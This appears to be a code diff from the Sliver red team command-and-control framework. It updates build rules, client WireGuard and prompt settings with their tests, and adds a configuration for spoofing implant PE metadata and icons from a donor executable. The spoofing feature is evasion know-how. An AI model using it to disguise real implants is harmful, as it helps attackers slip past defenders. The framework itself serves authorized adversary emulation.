.PHONY: clean
|
$(call windows_go_build,windows,arm64,0,-mod=vendor -trimpath,server,$(LDFLAGS),sliver-server_windows-arm64$(ARTIFACT_SUFFIX).exe)
|
||||||
clean:
|
$(call windows_go_build,linux,amd64,0,-mod=vendor -trimpath,server,$(LDFLAGS),sliver-server_linux-amd64$(ARTIFACT_SUFFIX))
|
||||||
rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe
|
$(call windows_go_build,linux,arm64,0,-mod=vendor -trimpath,server,$(LDFLAGS),sliver-server_linux-arm64$(ARTIFACT_SUFFIX))
|
||||||
|
$(call windows_go_build,darwin,arm64,0,-mod=vendor -trimpath,server,$(LDFLAGS),sliver-server_darwin-arm64$(ARTIFACT_SUFFIX))
|
||||||
.downloaded_assets:
|
$(call windows_go_build,darwin,amd64,0,-mod=vendor -trimpath,server,$(LDFLAGS),sliver-server_darwin-amd64$(ARTIFACT_SUFFIX))
|
||||||
$(ENV) $(GO) run -mod=vendor ./util/cmd/assets
|
|
||||||
touch ./.downloaded_assets
|
.PHONY: pb
|
||||||
|
pb: validate-pb-compilers
|
||||||
|
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
|
||||||
|
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
|
||||||
|
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
|
||||||
|
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||||
|
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||||
|
|
||||||
|
.PHONY: debug
|
||||||
|
debug: clean
|
||||||
|
$(call windows_go_build,$(GOOS),$(GOARCH),$(CGO_ENABLED),-mod=vendor,server,$(LDFLAGS_DEBUG),sliver-server$(ARTIFACT_SUFFIX))
|
||||||
|
$(call windows_go_build,$(GOOS),$(GOARCH),0,-mod=vendor,client,$(LDFLAGS_DEBUG),sliver-client$(ARTIFACT_SUFFIX))
|
||||||
|
|
||||||
|
.PHONY: validate-pb-compilers
|
||||||
|
validate-pb-compilers:
|
||||||
|
@for %%P in ($(PB_COMPILERS)) do @where.exe %%P >NUL || (echo Missing protobuf util %%P in PATH & exit /b 1)
|
||||||
|
|
||||||
|
validate-go-version:
|
||||||
|
@if $(GO_MAJOR_VERSION) GTR $(MIN_SUPPORTED_GO_MAJOR_VERSION) (exit /b 0) else if $(GO_MAJOR_VERSION) LSS $(MIN_SUPPORTED_GO_MAJOR_VERSION) (echo $(GO_VERSION_VALIDATION_ERR_MSG) & exit /b 1) else if $(GO_MINOR_VERSION) LSS $(MIN_SUPPORTED_GO_MINOR_VERSION) (echo $(GO_VERSION_VALIDATION_ERR_MSG) & exit /b 1)
|
||||||
|
|
||||||
|
.PHONY: clean-all
|
||||||
|
clean-all: clean
|
||||||
|
-rmdir /S /Q server\assets\fs\darwin\amd64
|
||||||
|
-rmdir /S /Q server\assets\fs\darwin\arm64
|
||||||
|
-rmdir /S /Q server\assets\fs\windows\amd64
|
||||||
|
-rmdir /S /Q server\assets\fs\linux\amd64
|
||||||
|
-del /Q /F server\assets\fs\*.zip 2>NUL
|
||||||
|
-del /Q /F .downloaded_assets 2>NUL
|
||||||
|
|
||||||
|
.PHONY: clean
|
||||||
|
clean:
|
||||||
|
-del /Q /F sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe 2>NUL
|
||||||
|
|
||||||
|
.downloaded_assets:
|
||||||
|
$(call windows_exec,$(ENV),"$(GO)" run -mod=vendor ./util/cmd/assets)
|
||||||
|
@type NUL > .downloaded_assets
|
||||||
|
|
||||||
|
endif
|
||||||
@@ -4,7 +4,9 @@ Sliver is an open source cross-platform adversary emulation/red team framework,
|
|||||||
|
|
||||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||||
|
|
||||||
[](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
[](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [](https://github.com/BishopFox/sliver/actions/workflows/golangci-lint.yml) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||||
|
|
||||||
|
Visit [https://sliver.sh/](https://sliver.sh/) for tutorials and documentation.
|
||||||
|
|
||||||
### Features
|
### Features
|
||||||
|
|
||||||
|
|||||||
@@ -124,4 +124,5 @@ under certain conditions; type 'licenses' for details.`)
|
|||||||
saveAssetVersion(appDir)
|
saveAssetVersion(appDir)
|
||||||
}
|
}
|
||||||
_, _ = LoadSettings()
|
_, _ = LoadSettings()
|
||||||
|
_, _ = LoadSpoofMetadataConfig()
|
||||||
}
|
}
|
||||||
+17
-7
@@ -34,15 +34,25 @@ const (
|
|||||||
ConfigDirName = "configs"
|
ConfigDirName = "configs"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// ClientWGConfig - Optional WireGuard wrapper configuration for multiplayer.
|
||||||
|
type ClientWGConfig struct {
|
||||||
|
ServerPubKey string `json:"server_pub_key"`
|
||||||
|
ClientPrivateKey string `json:"client_private_key"`
|
||||||
|
ClientPubKey string `json:"client_pub_key"`
|
||||||
|
ClientIP string `json:"client_ip"`
|
||||||
|
ServerIP string `json:"server_ip"`
|
||||||
|
}
|
||||||
|
|
||||||
// ClientConfig - Client JSON config
|
// ClientConfig - Client JSON config
|
||||||
type ClientConfig struct {
|
type ClientConfig struct {
|
||||||
Operator string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
|
Operator string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
|
||||||
LHost string `json:"lhost"`
|
LHost string `json:"lhost"`
|
||||||
LPort int `json:"lport"`
|
LPort int `json:"lport"`
|
||||||
Token string `json:"token"`
|
Token string `json:"token"`
|
||||||
CACertificate string `json:"ca_certificate"`
|
CACertificate string `json:"ca_certificate"`
|
||||||
PrivateKey string `json:"private_key"`
|
PrivateKey string `json:"private_key"`
|
||||||
Certificate string `json:"certificate"`
|
Certificate string `json:"certificate"`
|
||||||
|
WG *ClientWGConfig `json:"wg,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// GetConfigDir - Returns the path to the config dir
|
// GetConfigDir - Returns the path to the config dir
|
||||||
|
|||||||
@@ -22,6 +22,7 @@ import (
|
|||||||
"encoding/json"
|
"encoding/json"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
|
||||||
"gopkg.in/yaml.v3"
|
"gopkg.in/yaml.v3"
|
||||||
)
|
)
|
||||||
@@ -31,6 +32,18 @@ const (
|
|||||||
settingsLegacyFileName = "tui-settings.json"
|
settingsLegacyFileName = "tui-settings.json"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
// Accepted values for tui-settings.yaml "prompt:":
|
||||||
|
// - host: show "[host]" prefix on sliver-client, "[server]" on server console
|
||||||
|
// - operator-host: show "[operator@host]" prefix on sliver-client, "[server]" on server console
|
||||||
|
// - basic: show "sliver >" (no prefix)
|
||||||
|
// - custom: render full prompt from prompt_template
|
||||||
|
PromptStyleHost = "host"
|
||||||
|
PromptStyleOperatorHost = "operator-host"
|
||||||
|
PromptStyleBasic = "basic"
|
||||||
|
PromptStyleCustom = "custom"
|
||||||
|
)
|
||||||
|
|
||||||
// ClientSettings - Client JSON config
|
// ClientSettings - Client JSON config
|
||||||
type ClientSettings struct {
|
type ClientSettings struct {
|
||||||
TableStyle string `json:"tables" yaml:"tables"`
|
TableStyle string `json:"tables" yaml:"tables"`
|
||||||
@@ -41,6 +54,8 @@ type ClientSettings struct {
|
|||||||
VimMode bool `json:"vim_mode" yaml:"vim_mode"`
|
VimMode bool `json:"vim_mode" yaml:"vim_mode"`
|
||||||
UserConnect bool `json:"user_connect" yaml:"user_connect"`
|
UserConnect bool `json:"user_connect" yaml:"user_connect"`
|
||||||
ConsoleLogs bool `json:"console_logs" yaml:"console_logs"`
|
ConsoleLogs bool `json:"console_logs" yaml:"console_logs"`
|
||||||
|
PromptStyle string `json:"prompt" yaml:"prompt"`
|
||||||
|
PromptTemplate string `json:"prompt_template" yaml:"prompt_template"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// LoadSettings - Load the client settings from disk
|
// LoadSettings - Load the client settings from disk
|
||||||
@@ -67,6 +82,8 @@ func LoadSettings() (*ClientSettings, error) {
|
|||||||
return defaultSettings(), err
|
return defaultSettings(), err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Ensure any missing/unknown values are coerced to a supported prompt style.
|
||||||
|
settings.PromptStyle = NormalizePromptStyle(settings.PromptStyle)
|
||||||
if err := SaveSettings(settings); err != nil {
|
if err := SaveSettings(settings); err != nil {
|
||||||
return settings, err
|
return settings, err
|
||||||
}
|
}
|
||||||
@@ -78,6 +95,38 @@ func LoadSettings() (*ClientSettings, error) {
|
|||||||
return settings, nil
|
return settings, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// NormalizePromptStyle canonicalizes prompt style strings and returns a safe
|
||||||
|
// default if the value is empty/unknown.
|
||||||
|
func NormalizePromptStyle(v string) string {
|
||||||
|
switch strings.ToLower(strings.TrimSpace(v)) {
|
||||||
|
case PromptStyleOperatorHost:
|
||||||
|
return PromptStyleOperatorHost
|
||||||
|
case PromptStyleHost:
|
||||||
|
return PromptStyleHost
|
||||||
|
case PromptStyleBasic:
|
||||||
|
return PromptStyleBasic
|
||||||
|
case PromptStyleCustom:
|
||||||
|
return PromptStyleCustom
|
||||||
|
|
||||||
|
// Backward compatible aliases.
|
||||||
|
case "show host":
|
||||||
|
return PromptStyleHost
|
||||||
|
case "show user and host":
|
||||||
|
return PromptStyleOperatorHost
|
||||||
|
case "show operator and host":
|
||||||
|
return PromptStyleOperatorHost
|
||||||
|
case "operator@host":
|
||||||
|
return PromptStyleOperatorHost
|
||||||
|
case "user@host":
|
||||||
|
return PromptStyleOperatorHost
|
||||||
|
|
||||||
|
case "":
|
||||||
|
return PromptStyleHost
|
||||||
|
default:
|
||||||
|
return PromptStyleHost
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func defaultSettings() *ClientSettings {
|
func defaultSettings() *ClientSettings {
|
||||||
return &ClientSettings{
|
return &ClientSettings{
|
||||||
TableStyle: "SliverDefault",
|
TableStyle: "SliverDefault",
|
||||||
@@ -87,9 +136,13 @@ func defaultSettings() *ClientSettings {
|
|||||||
AlwaysOverflow: false,
|
AlwaysOverflow: false,
|
||||||
VimMode: false,
|
VimMode: false,
|
||||||
ConsoleLogs: true,
|
ConsoleLogs: true,
|
||||||
|
PromptStyle: PromptStyleHost,
|
||||||
|
PromptTemplate: DefaultPromptTemplate,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const DefaultPromptTemplate = `{{- if .IsServer -}}{{ .Styles.Bold.Render "[server]" }} {{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} > {{- else -}}{{- if .Host -}}{{ .Styles.BoldPrimary.Render (printf "[%s]" .Host) }} {{- end -}}{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} > {{- end -}}`
|
||||||
|
|
||||||
// SaveSettings - Save the current settings to disk
|
// SaveSettings - Save the current settings to disk
|
||||||
func SaveSettings(settings *ClientSettings) error {
|
func SaveSettings(settings *ClientSettings) error {
|
||||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||||
|
|||||||
@@ -21,6 +21,8 @@ always_overflow: true
|
|||||||
vim_mode: true
|
vim_mode: true
|
||||||
user_connect: true
|
user_connect: true
|
||||||
console_logs: false
|
console_logs: false
|
||||||
|
prompt: "basic"
|
||||||
|
prompt_template: "{{.Host}}"
|
||||||
`)
|
`)
|
||||||
if err := os.WriteFile(settingsPath, data, 0o600); err != nil {
|
if err := os.WriteFile(settingsPath, data, 0o600); err != nil {
|
||||||
t.Fatalf("failed to write yaml settings: %v", err)
|
t.Fatalf("failed to write yaml settings: %v", err)
|
||||||
@@ -54,6 +56,12 @@ console_logs: false
|
|||||||
if settings.ConsoleLogs {
|
if settings.ConsoleLogs {
|
||||||
t.Fatalf("expected ConsoleLogs false")
|
t.Fatalf("expected ConsoleLogs false")
|
||||||
}
|
}
|
||||||
|
if settings.PromptStyle != PromptStyleBasic {
|
||||||
|
t.Fatalf("expected PromptStyle %q, got %q", PromptStyleBasic, settings.PromptStyle)
|
||||||
|
}
|
||||||
|
if settings.PromptTemplate != "{{.Host}}" {
|
||||||
|
t.Fatalf("expected PromptTemplate %q, got %q", "{{.Host}}", settings.PromptTemplate)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestLoadSettingsMigratesLegacyJSON(t *testing.T) {
|
func TestLoadSettingsMigratesLegacyJSON(t *testing.T) {
|
||||||
@@ -71,6 +79,8 @@ func TestLoadSettingsMigratesLegacyJSON(t *testing.T) {
|
|||||||
VimMode: true,
|
VimMode: true,
|
||||||
UserConnect: true,
|
UserConnect: true,
|
||||||
ConsoleLogs: false,
|
ConsoleLogs: false,
|
||||||
|
PromptStyle: PromptStyleOperatorHost,
|
||||||
|
PromptTemplate: "{{.Operator}}@{{.Host}} sliver > ",
|
||||||
}
|
}
|
||||||
data, err := json.MarshalIndent(legacy, "", " ")
|
data, err := json.MarshalIndent(legacy, "", " ")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -87,6 +97,12 @@ func TestLoadSettingsMigratesLegacyJSON(t *testing.T) {
|
|||||||
if settings.TableStyle != "Legacy" {
|
if settings.TableStyle != "Legacy" {
|
||||||
t.Fatalf("expected TableStyle %q, got %q", "Legacy", settings.TableStyle)
|
t.Fatalf("expected TableStyle %q, got %q", "Legacy", settings.TableStyle)
|
||||||
}
|
}
|
||||||
|
if settings.PromptStyle != PromptStyleOperatorHost {
|
||||||
|
t.Fatalf("expected PromptStyle %q, got %q", PromptStyleOperatorHost, settings.PromptStyle)
|
||||||
|
}
|
||||||
|
if settings.PromptTemplate != "{{.Operator}}@{{.Host}} sliver > " {
|
||||||
|
t.Fatalf("expected PromptTemplate %q, got %q", "{{.Operator}}@{{.Host}} sliver > ", settings.PromptTemplate)
|
||||||
|
}
|
||||||
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
|
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
|
||||||
t.Fatalf("expected yaml settings to exist: %v", err)
|
t.Fatalf("expected yaml settings to exist: %v", err)
|
||||||
}
|
}
|
||||||
@@ -108,6 +124,12 @@ func TestLoadSettingsWritesDefault(t *testing.T) {
|
|||||||
if settings.TableStyle != "SliverDefault" {
|
if settings.TableStyle != "SliverDefault" {
|
||||||
t.Fatalf("expected default TableStyle %q, got %q", "SliverDefault", settings.TableStyle)
|
t.Fatalf("expected default TableStyle %q, got %q", "SliverDefault", settings.TableStyle)
|
||||||
}
|
}
|
||||||
|
if settings.PromptStyle != PromptStyleHost {
|
||||||
|
t.Fatalf("expected default PromptStyle %q, got %q", PromptStyleHost, settings.PromptStyle)
|
||||||
|
}
|
||||||
|
if settings.PromptTemplate != DefaultPromptTemplate {
|
||||||
|
t.Fatalf("expected default PromptTemplate %q, got %q", DefaultPromptTemplate, settings.PromptTemplate)
|
||||||
|
}
|
||||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||||
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
|
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
|
||||||
t.Fatalf("expected default settings to be written: %v", err)
|
t.Fatalf("expected default settings to be written: %v", err)
|
||||||
|
|||||||
@@ -0,0 +1,216 @@
|
|||||||
|
package assets
|
||||||
|
|
||||||
|
/*
|
||||||
|
Sliver Implant Framework
|
||||||
|
Copyright (C) 2026 Bishop Fox
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
|
||||||
|
"gopkg.in/yaml.v3"
|
||||||
|
)
|
||||||
|
|
||||||
|
const spoofMetadataFileName = "spoof-metadata.yaml"
|
||||||
|
|
||||||
|
const defaultSpoofMetadataConfigTemplate = `# Sliver executable metadata spoofing configuration.
|
||||||
|
# Used by generate commands when --spoof-metadata is set.
|
||||||
|
#
|
||||||
|
# Fields that reference file content support either:
|
||||||
|
# - path: read bytes from a local file path
|
||||||
|
# - base64: inline base64 file content
|
||||||
|
# Do not set both path and base64 for the same object.
|
||||||
|
#
|
||||||
|
# Example 1: Minimal path-based metadata cloning (most common)
|
||||||
|
pe:
|
||||||
|
source:
|
||||||
|
name: metadata-source.exe
|
||||||
|
path: ""
|
||||||
|
|
||||||
|
# Optional icon donor. Reserved for future standalone icon mutation support.
|
||||||
|
icon:
|
||||||
|
name: icon.ico
|
||||||
|
path: ""
|
||||||
|
|
||||||
|
# Example 2: Inline/base64 source (uncomment and remove "path" above)
|
||||||
|
# source:
|
||||||
|
# name: metadata-source.exe
|
||||||
|
# base64: "TVqQAAMAAAAEAAAA..."
|
||||||
|
|
||||||
|
# Example 3: Optional PE structure overrides (advanced)
|
||||||
|
# Applied after metadata/resources are cloned from source.
|
||||||
|
# Omitted fields keep cloned values.
|
||||||
|
# resource_directory:
|
||||||
|
# characteristics: 0
|
||||||
|
# time_date_stamp: 0
|
||||||
|
# major_version: 1
|
||||||
|
# minor_version: 0
|
||||||
|
# number_of_named_entries: 0
|
||||||
|
# number_of_id_entries: 0
|
||||||
|
#
|
||||||
|
# resource_directory_entries:
|
||||||
|
# - name: 1
|
||||||
|
# offset_to_data: 0
|
||||||
|
#
|
||||||
|
# resource_data_entries:
|
||||||
|
# - offset_to_data: 0
|
||||||
|
# size: 0
|
||||||
|
# code_page: 0
|
||||||
|
# reserved: 0
|
||||||
|
#
|
||||||
|
# export_directory:
|
||||||
|
# characteristics: 0
|
||||||
|
# time_date_stamp: 0
|
||||||
|
# major_version: 1
|
||||||
|
# minor_version: 0
|
||||||
|
# name: 0
|
||||||
|
# base: 0
|
||||||
|
# number_of_functions: 0
|
||||||
|
# number_of_names: 0
|
||||||
|
# address_of_functions: 0
|
||||||
|
# address_of_names: 0
|
||||||
|
# address_of_name_ordinals: 0
|
||||||
|
`
|
||||||
|
|
||||||
|
// SpoofMetadataConfig stores default metadata spoofing inputs for generate commands.
|
||||||
|
type SpoofMetadataConfig struct {
|
||||||
|
PE *PESpoofMetadataConfig `json:"pe,omitempty" yaml:"pe,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// PESpoofMetadataConfig stores PE-specific spoofing inputs.
|
||||||
|
type PESpoofMetadataConfig struct {
|
||||||
|
Source *SpoofMetadataDataSource `json:"source,omitempty" yaml:"source,omitempty"`
|
||||||
|
Icon *SpoofMetadataDataSource `json:"icon,omitempty" yaml:"icon,omitempty"`
|
||||||
|
|
||||||
|
ResourceDirectory *ImageResourceDirectory `json:"resource_directory,omitempty" yaml:"resource_directory,omitempty"`
|
||||||
|
ResourceDirectoryEntries []*ImageResourceDirectoryEntry `json:"resource_directory_entries,omitempty" yaml:"resource_directory_entries,omitempty"`
|
||||||
|
ResourceDataEntries []*ImageResourceDataEntry `json:"resource_data_entries,omitempty" yaml:"resource_data_entries,omitempty"`
|
||||||
|
ExportDirectory *ImageExportDirectory `json:"export_directory,omitempty" yaml:"export_directory,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// SpoofMetadataDataSource points to bytes that should be sent to the server.
|
||||||
|
// Either Path or Base64 may be set.
|
||||||
|
type SpoofMetadataDataSource struct {
|
||||||
|
Name string `json:"name,omitempty" yaml:"name,omitempty"`
|
||||||
|
Path string `json:"path,omitempty" yaml:"path,omitempty"`
|
||||||
|
Base64 string `json:"base64,omitempty" yaml:"base64,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ImageResourceDirectory struct {
|
||||||
|
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
|
||||||
|
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
|
||||||
|
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
|
||||||
|
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
|
||||||
|
NumberOfNamedEntries uint32 `json:"number_of_named_entries,omitempty" yaml:"number_of_named_entries,omitempty"`
|
||||||
|
NumberOfIDEntries uint32 `json:"number_of_id_entries,omitempty" yaml:"number_of_id_entries,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ImageResourceDirectoryEntry struct {
|
||||||
|
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
|
||||||
|
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ImageResourceDataEntry struct {
|
||||||
|
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
|
||||||
|
Size uint32 `json:"size,omitempty" yaml:"size,omitempty"`
|
||||||
|
CodePage uint32 `json:"code_page,omitempty" yaml:"code_page,omitempty"`
|
||||||
|
Reserved uint32 `json:"reserved,omitempty" yaml:"reserved,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type ImageExportDirectory struct {
|
||||||
|
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
|
||||||
|
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
|
||||||
|
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
|
||||||
|
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
|
||||||
|
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
|
||||||
|
Base uint32 `json:"base,omitempty" yaml:"base,omitempty"`
|
||||||
|
NumberOfFunctions uint32 `json:"number_of_functions,omitempty" yaml:"number_of_functions,omitempty"`
|
||||||
|
NumberOfNames uint32 `json:"number_of_names,omitempty" yaml:"number_of_names,omitempty"`
|
||||||
|
AddressOfFunctions uint32 `json:"address_of_functions,omitempty" yaml:"address_of_functions,omitempty"`
|
||||||
|
AddressOfNames uint32 `json:"address_of_names,omitempty" yaml:"address_of_names,omitempty"`
|
||||||
|
AddressOfNameOrdinals uint32 `json:"address_of_name_ordinals,omitempty" yaml:"address_of_name_ordinals,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// SpoofMetadataConfigPath returns the spoof metadata config file path.
|
||||||
|
func SpoofMetadataConfigPath() string {
|
||||||
|
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||||
|
return filepath.Join(rootDir, spoofMetadataFileName)
|
||||||
|
}
|
||||||
|
|
||||||
|
// LoadSpoofMetadataConfig loads spoof metadata config from disk, writing defaults
|
||||||
|
// if the file is missing.
|
||||||
|
func LoadSpoofMetadataConfig() (*SpoofMetadataConfig, error) {
|
||||||
|
config := defaultSpoofMetadataConfig()
|
||||||
|
configPath := SpoofMetadataConfigPath()
|
||||||
|
|
||||||
|
data, err := os.ReadFile(configPath)
|
||||||
|
if err != nil {
|
||||||
|
if !os.IsNotExist(err) {
|
||||||
|
return defaultSpoofMetadataConfig(), err
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(configPath, []byte(defaultSpoofMetadataConfigTemplate), 0o600); err != nil {
|
||||||
|
return defaultSpoofMetadataConfig(), err
|
||||||
|
}
|
||||||
|
data = []byte(defaultSpoofMetadataConfigTemplate)
|
||||||
|
}
|
||||||
|
if err := yaml.Unmarshal(data, config); err != nil {
|
||||||
|
return defaultSpoofMetadataConfig(), err
|
||||||
|
}
|
||||||
|
|
||||||
|
normalizeSpoofMetadataConfig(config)
|
||||||
|
return config, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// SaveSpoofMetadataConfig writes spoof metadata config to disk.
|
||||||
|
func SaveSpoofMetadataConfig(config *SpoofMetadataConfig) error {
|
||||||
|
if config == nil {
|
||||||
|
config = defaultSpoofMetadataConfig()
|
||||||
|
}
|
||||||
|
normalizeSpoofMetadataConfig(config)
|
||||||
|
data, err := yaml.Marshal(config)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return os.WriteFile(SpoofMetadataConfigPath(), data, 0o600)
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalizeSpoofMetadataConfig(config *SpoofMetadataConfig) {
|
||||||
|
if config.PE == nil {
|
||||||
|
config.PE = &PESpoofMetadataConfig{}
|
||||||
|
}
|
||||||
|
if config.PE.Source == nil {
|
||||||
|
config.PE.Source = &SpoofMetadataDataSource{Name: "metadata-source.exe"}
|
||||||
|
}
|
||||||
|
if config.PE.Icon == nil {
|
||||||
|
config.PE.Icon = &SpoofMetadataDataSource{Name: "icon.ico"}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func defaultSpoofMetadataConfig() *SpoofMetadataConfig {
|
||||||
|
return &SpoofMetadataConfig{
|
||||||
|
PE: &PESpoofMetadataConfig{
|
||||||
|
Source: &SpoofMetadataDataSource{
|
||||||
|
Name: "metadata-source.exe",
|
||||||
|
Path: "",
|
||||||
|
},
|
||||||
|
Icon: &SpoofMetadataDataSource{
|
||||||
|
Name: "icon.ico",
|
||||||
|
Path: "",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -52,6 +52,7 @@ func init() {
|
|||||||
|
|
||||||
rootCmd.TraverseChildren = true
|
rootCmd.TraverseChildren = true
|
||||||
rootCmd.Flags().String(RCFlagName, "", "path to rc script file")
|
rootCmd.Flags().String(RCFlagName, "", "path to rc script file")
|
||||||
|
rootCmd.PersistentFlags().Bool(enableWGFlag, false, "connect to multiplayer through the operator config's WireGuard wrapper")
|
||||||
|
|
||||||
// Create the console client, without any RPC or commands bound to it yet.
|
// Create the console client, without any RPC or commands bound to it yet.
|
||||||
// This created before anything so that multiple commands can make use of
|
// This created before anything so that multiple commands can make use of
|
||||||
|
|||||||
@@ -26,16 +26,16 @@ import (
|
|||||||
"github.com/bishopfox/sliver/client/forms"
|
"github.com/bishopfox/sliver/client/forms"
|
||||||
)
|
)
|
||||||
|
|
||||||
func selectConfig() *assets.ClientConfig {
|
func selectConfig() (string, *assets.ClientConfig) {
|
||||||
configs := assets.GetConfigs()
|
configs := assets.GetConfigs()
|
||||||
|
|
||||||
if len(configs) == 0 {
|
if len(configs) == 0 {
|
||||||
return nil
|
return "", nil
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(configs) == 1 {
|
if len(configs) == 1 {
|
||||||
for _, config := range configs {
|
for key, config := range configs {
|
||||||
return config
|
return key, config
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -49,8 +49,8 @@ func selectConfig() *assets.ClientConfig {
|
|||||||
err := forms.Select("Select a server:", keys, &selection)
|
err := forms.Select("Select a server:", keys, &selection)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println(err.Error())
|
fmt.Println(err.Error())
|
||||||
return nil
|
return "", nil
|
||||||
}
|
}
|
||||||
|
|
||||||
return configs[selection]
|
return selection, configs[selection]
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,177 @@
|
|||||||
|
package cli
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
"unicode/utf8"
|
||||||
|
|
||||||
|
bspinner "charm.land/bubbles/v2/spinner"
|
||||||
|
"github.com/bishopfox/sliver/client/transport"
|
||||||
|
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||||
|
"google.golang.org/grpc"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
minConnectSpinnerDuration = 900 * time.Millisecond
|
||||||
|
minConnectStatusDuration = 350 * time.Millisecond
|
||||||
|
)
|
||||||
|
|
||||||
|
type connectResult struct {
|
||||||
|
rpc rpcpb.SliverRPCClient
|
||||||
|
conn *grpc.ClientConn
|
||||||
|
err error
|
||||||
|
}
|
||||||
|
|
||||||
|
func connectWithSpinner(out io.Writer, target string, connect func(transport.ConnectStatusFn) (rpcpb.SliverRPCClient, *grpc.ClientConn, error)) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) {
|
||||||
|
statusCh := make(chan string, 8)
|
||||||
|
resultCh := make(chan connectResult, 1)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
rpc, conn, err := connect(func(status string) {
|
||||||
|
sendStatus(statusCh, status)
|
||||||
|
})
|
||||||
|
resultCh <- connectResult{rpc: rpc, conn: conn, err: err}
|
||||||
|
}()
|
||||||
|
